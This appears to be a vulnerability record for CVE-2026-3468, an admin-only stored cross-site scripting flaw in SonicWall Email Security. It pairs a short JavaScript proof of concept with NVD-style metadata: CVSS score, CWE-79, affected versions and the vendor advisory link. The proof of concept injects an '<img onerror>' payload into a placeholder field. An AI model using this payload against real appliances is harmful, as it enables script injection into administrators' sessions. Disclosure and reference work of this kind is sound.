CVE-2026-3468

/* * PoC for CVE-2026-3468 * Demonstrates stored XSS injection */ // Step 1: Admin Login is required (PR:H) // Step 2: Inject payload into a vulnerable field var payload = '<img src=x onerror=alert(1)>'; var vulnerableInput = document.querySelector('#vulnerable_field_id'); if (vulnerableInput) { vulnerableInput.value = payload; // Simulate saving the configuration document.querySelector('#save_button').click(); console.log('Payload injected. Trigger by viewing the page.'); }

{"cve": {"id": "CVE-2026-3468", "sourceIdentifier": "[email protected]", "published": "2026-03-31T21:16:32.950", "lastModified": "2026-04-13T16:50:20.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored Cross-Site Scripting (XSS) vulnerability has been identified in the SonicWall Email Security appliance due to improper neutralization of user-supplied input during web page generation, allowing a remote authenticated attacker as admin user to potentially execute arbitrary JavaScript code."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sonicwall:email_security:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.35.8405", "matchCriteriaId": "AD63C704-413C-43B7-9475-A19411E3BF6B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:esa5000:-:*:*:*:*:*:*:*", "matchCriteriaId": "91ED89A0-CFFB-44D3-8DE8-64E8DB635872"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:esa5050:-:*:*:*:*:*:*:*", "matchCriteriaId": "69CD3296-0424-46C7-82F1-3BE7892B72C2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:esa7000:-:*:*:*:*:*:*:*", "matchCriteriaId": "3FE6D8AA-F614-404A-9006-A94763AA23B5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:esa7050:-:*:*:*:*:*:*:*", "matchCriteriaId": "F748C59C-740B-4F52-9E0D-70F7D4E9AA07"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:esa9000:-:*:*:*:*:*:*:*", "matchCriteriaId": "7D46ECFF-FA41-4861-A047-1EEFD89D13DD"}]}]}], "references": [{"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0002", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}